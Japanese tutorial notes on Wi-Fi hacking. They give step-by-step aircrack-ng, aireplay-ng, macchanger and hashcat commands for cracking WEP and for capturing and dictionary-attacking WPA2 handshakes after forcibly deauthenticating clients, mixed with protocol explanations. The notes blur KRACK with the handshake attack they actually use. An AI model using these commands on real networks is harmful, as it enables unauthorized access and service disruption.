WifiHacking

Wi-Fiアダプタの初期設定

動画内で紹介されているWi-Fiアダプタ ALFA AWUS036ACH

AWUS036ACHのドライバインストール

ドライバのインストールガイド

- Kali Linuxの場合

```
# kali
sudo apt update
sudo apt install realtek-rtl88xxau-dkms
```

- Ubuntuの場合はaptから直接インストールできないのでドライバのインストールガイドからdebファイルをインストールしてapt installで指定するリポジトリを直接指定する。

```
#ubuntu
sudo apt update
sudo apt install ./realtek-rtl88xxau-dkms_5.6.4.2~git20200916-0kali1_all.deb
```

認識されているか確認

- ホストPCで使う場合には特に何もする必要がない。
- VirtualBox等を使って立ち上げたKali-Linuxでデバイスを認識させるなら、デバイス→USB→USBの設定をクリックして、右側のプラスボタンからRealtek 802.11n NICを追加する。

```
sudo iwconfig #wlan0等のネットワークインターフェースが表示されればOK
```

WEP方式のwifiのクラッキング

WEP Wi-Fiをハッキング!パスワードを解析!

WEP方式とその問題点

WEPについて

- WEPでは64bit、128bitの長さを持つ秘密鍵方式だったが、固定パスワードが多くを占め、可変部分(Initializeation Vector)は24bitしかなかった。→IVが抽出しやすい。

- アクセスポイントに接続するユーザは全員同じWEPパスワードを用いる。→長時間サンプリングすることで必要なパケット量がたまりやすい。
- IVを平文で送っていて暗号化していない。
- 暗号鍵は**WEPパスワード+IV**で構成される。

> IV=可変部分(Initializeation Vector)

WEPのhandshakeとは

ハンドシェイクとは: 2台の装置が通信を開始する際に、利用する通信方式や各種の設定値などを互いに通知・交換したり、交渉・調整すること。

> ハンドシェイクについてIT用語辞典より

1. クライアントはアクセスポイントに認証要求を送る。
2. アクセスポイントは平文でチャレンジを送る。
3. クライアントはそのチャレンジフレームの中身を予め設定されたWEP鍵を使って暗号化し、認証要求に含めてアクセスポイントに送る。
4. アクセスポイントはそれを解読し、前に送ったチャレンジフレームの平文と比較する。同一かどうかによってアクセスポイントは肯定または否定を返す。

邪魔者をkill(ここから実際にターミナルにコマンドを入力していく)

ハッキングする上で邪魔なアプリケーションを終了する。

```
sudo airmon-ng check kill #wpa_supplicantをkill
```

wpa_suppliment: WPA認証機器との鍵の交渉を実装しており、wlanドライバのローミングやIEEE 802.11認証やアソシエーションを制御している。

Wi-FIアダプタをモニタモード変更

Wi-Fiをモニターモードにすることで周囲に漂っている電波をすべて受信できるようになる。(自分宛てじゃないパケットも見れるようになるってこと？)

airmon-ngを使う方法

```
sudo apt install aircrack-ng
sudo airmon-ng start wlp2s0 #ネットワークインターフェース(wlp2s0)は端末によって違うので適宜
sudo iwconfig #monitorモードになっていることを確認
```

手動でやる方法

```

```

```
sudo ip link set wlp2s0 down
sudo iwconfig wlan0 mode monitor
sudo ip link set wlp2s0 up
sudo iwconfig
```

wifiをモニターモードから元に戻す

基本的に再起動するとモニターモードから抜けられるが、一応記載しておく。

```
sudo airmon-ng stop wlp2s0mon
sudo ip link set dev wlp2s0 up
```

周囲のwifi情報をキャプチャする

用語解説

- BSSID: 無線LANにおける無線ネットワークの識別子。通常はMACアドレスをそのまま用いる。アクセスポイントのMACアドレスで接続したりする時に必要な情報。
- CH(チャンネル): 周波数を合わせることでパケットを取得可能にする。
- ESSID: 対象のwifi名

Wi-Fi情報を取得してみる

```
sudo airodump-ng wlp2s0mon #周囲のWi-Fi情報を取得する。
```

- 攻撃対象のwifiを見つけたら、BSSIDとCHをメモする。
- ステルス設定のwifiも表示される。

BSSID	88:57:EE:17:CD:92
CH	5

パケットをキャプチャする

キャプチャ中はそのまま放置する。

```
sudo airodump-ng --bssid 1E:B1:7F:14:0C:01 --channel 13 --write wep wlp2s0mon
```

パケットキャプチャ中の画面の解説

- Data: 収集したパケットの量。
- アクセスしている端末のMACアドレスが下に表示される。

解析を開始

- 一度実行すれば、パケットが溜まったらすぐに実行してくれるので何度も実行しなくていい。
- 大きな通信がないとパケットはなかなかたまらないのが実情。→ARPリクエスト攻撃を行う。

```
sudo aircrack-ng wep-01.cap wlp2s0mon
```

ARPリクエスト攻撃

ARPとは

- Address Resolution Protocol: IPアドレスからEthernetのMACアドレスの情報を得られるプロトコルである。
- ARPリクエスト: 指定したIPアドレスのMACアドレスを知るために出す要求。ARP陸セストはブロードキャストにより、セグメント(ブロードキャストすべてが届くネットワークの範囲)すべてのノードに送信される。
- ARPリプライ: 指定したIPアドレスの持つMACアドレスを返す。
- RARP: ARPとは逆にMACアドレスからIPアドレスを取得するプロトコル。

自分のMACアドレスの変更

- ARPリクエスト攻撃を行うためには攻撃者側のMACアドレスが必要である。→そこで自分のMACアドレスを変更したほうが安全。
- wlp2s0のMACアドレスを変更してもPermanentMACがモニターモードに割り当てられているため、モニターモードのMACアドレスを直接変更する。

```
sudo ip link set dev wlp2s0mon down
sudo macchanger -r wlp2s0mon
macchanger wlp2s0mon
sudo ip link set dev wlp2s0mon up
```

ARPリクエスト攻撃を実行

- ARPリクエストを無限に送ってパケットをためやすくする。
- MACアドレスフィルタリングがついているとできない。
- aireplayの1=--fakeauth,2=interactive,3=--arpreplayとなっているのでマニュアルによってはそちらを採用している場合もある。

```
sudo aireplay-ng --fakeauth 0 -a 00:01:8E:55:F8:5F -h 22:38:fc:d9:cc:91 wlp2s0mon #
sudo aireplay-ng --arpreplay -b 1E:B1:7F:14:0C:01 -h e4:b3:18:bb:ea:1d wlp2s0mon #
```

WPA/WPA2のハッキング

WPA方式とは

- WEPにかわる新しい無線LANの暗号化方式。
- WPAは基本的な暗号方式などをWEPから変更していないため、ファームウェアあるいはドライバを変更する程度でWPAに対応できる。

WEPの問題点

WEPについて

- WEPでは64bit、128bitの長さを持つ秘密鍵方式だったが、固定パスワードが多くを占め、可変部分(Initializeation Vector)は24bitしかなかった。→IVが抽出しやすい。
- アクセスポイントに接続するユーザは全員同じWEPパスワードを用いる。→長時間サンプリングすることで暗号を破りやすい。
- IVを平文で送っていて暗号化していない。
- 暗号鍵は**WEPパスワード+IV**

WPAの改善点

- 鍵の長さを128bitに統一
- IV(可変部分)を48bitに増やす。
- 暗号鍵を**WEPパスワード+IV+MACアドレスのハッシュ値**に変更。→推測が難しくなる。
- 暗号鍵を1万パケットごとに更新する。→パケットを盗聴されても鍵を割り出す処理が難しくなる。

4way handshakeとは

マスターキーの生成

WPA2ではマスターキー(MSK)を元に、実際の通信を暗号化する鍵を作成する。

- PMK(Pairwise Master Key): ユニキャスト通信(単一のアドレスを指定して、1対1で行われる通信のこと。)に使用する鍵マスターキーになる。MSKより生成される。
- GMK(Group Master Key): GMKはマルチキャスト、ブロードキャスト通信に使用する鍵の元となる。アクセスポイントがランダムに生成し、一定時間ごとに更新を行う。

PTK,GTK

4 way handshake PMK、GMKはあくまでマスターキーであるため、PTKとGTKを用途ごとに生成する。

- PTK(Pairwise Transient Key): PMKより生成するユニキャスト通信を暗号化するための鍵。
- GTK(Group Temporal Key): GMKより生成するマルチキャスト、ブロードキャストを暗号化するための鍵。

4way handshakeの流れ

KRACKのしくみ

1. アクセスポイントがランダム値でAuthenticator Nonce(Anonce)を生成しクライアントへ送信する。
2. クライアントはランダム値でSupplicant Nonce(SNonce)を生成し、PMK、ANonce、SNonce、アクセスポイントとクライアントのMACアドレスからPTKを生成する。その後SNonceをアクセスポイントに送信する。
3. アクセスポイント側でも同様にしてPTKを生成する。(PTKを直接送信せずにお互いが生成しているが同じものを保持できるのがポイント)その後、GMKよりGTKを生成し、GTKをクライアントに送信する。
4. クライアントはアクセスポイントへメッセージ4で応答を返し、4Way Handshakeが完了したことを通知する。その後クライアントはPTKとGTKを、アクセスポイントはPTKをインストールし、通信を行うことが可能となる。

WPAのクラック方法

- 4 way handshakeの完了通知(メッセージ4)を中間者攻撃により意図的に止める。
- クライアント側では4way handshakeは終了しているので、暗号化された通常の通信が始まる。この時、nonce(Number of once)という一度しか使うべきでないものを使って暗号化が行われる。これにはパケットごとに異なる番号のnonceが使われる。
- アクセスポイントがメッセージ4を受信せずにタイムアウトし、メッセージ3を再送する。
- クライアントはメッセージ3を受け取り、PTKの再インストールが行う。この時、実施した処理の巻き戻しが起こり、nonceのカウントがリセットされる。
- メッセージ3が届くたびに同じnonceを使った通信を行わせることができ、暗号が解読できる。

実際に手を動かしてWPAパスワードをクラックする。

Wifiアダプターをモニターモードにする

```
sudo airmon-ng check kill #wpa_supplicantをkill
sudo airmon-ng start wlp2s0 #
```

攻撃対象のwifiを探す

```
sudo airodump-ng wlp2s0mon
```

4 way handshakeをキャプチャしたパケットを取得

パケットを受け取れる状態にする。

```
sudo airodump-ng -c 1 --bssid 88:57:EE:17:CD:92 -w wpa2 wlp2s0mon #-cでチャンネルを設
```

この時に既に接続している端末のMACアドレスが表示されるのでメモする。

端末のwifi接続を強制的に切る

すでに接続中の端末では4 way handshakeは行われないので強制的にWiFi接続を外部から解除させて再接続時に行われる4 way handshakeをキャプチャしてパスワードの解析を行う。

```
sudo aireplay-ng -0 1 -a 88:57:EE:17:CD:92 -c e4:b3:18:bb:ea:1d wlp2s0mon #-0で認証
```

- コマンド実行後に少し待つと、自動再接続が行われる。
- 4way handshakeをキャプチャするとパケットをキャプチャしている画面にWPA handshakeなどと表示されるので確認後にキャプチャを終了する。

キャプチャした4way handshakeのパケットをhashcatを使って複合する。

ツールをインストールしてファイルを変換

capファイルをhashcatが読み取れる形に変換するhxpcapngtoolをインストール。

```
sudo apt install hcxtools #kali linuxのみうまくいった

hcxpcapngtool --hccapx=hoge wpa2-01.cap # hogeファイルの生成
```

WI-FIパスワードリストとなる辞書用意する。

- probable-v2-wpa-top4800.txtなどが有名らしい。Githubからダウンロード可能。
- SSIDがカスタムされている場合にはパスワードも変更されている可能性が高いのでrockyou.txtでもヒットする可能性がある。

hashcatによる複合を実行

```
hashcat -m 2500 hoge -a 0 password.list #-mでhashタイプをWPA/WPAに設定 -a 0で辞書攻撃を
```

---

airgeddonを使う

インストール

airgeddonインストールページ

```
git clone https://github.com/v1s1t0r1sh3r3/airgeddon.git
cd airgeddon
chmod +x airgeddon.sh
```

起動

```
sudo ./airgeddon.sh
# essential toolが足りないと起動できないため、xtermを追加
sudo apt install xterm
```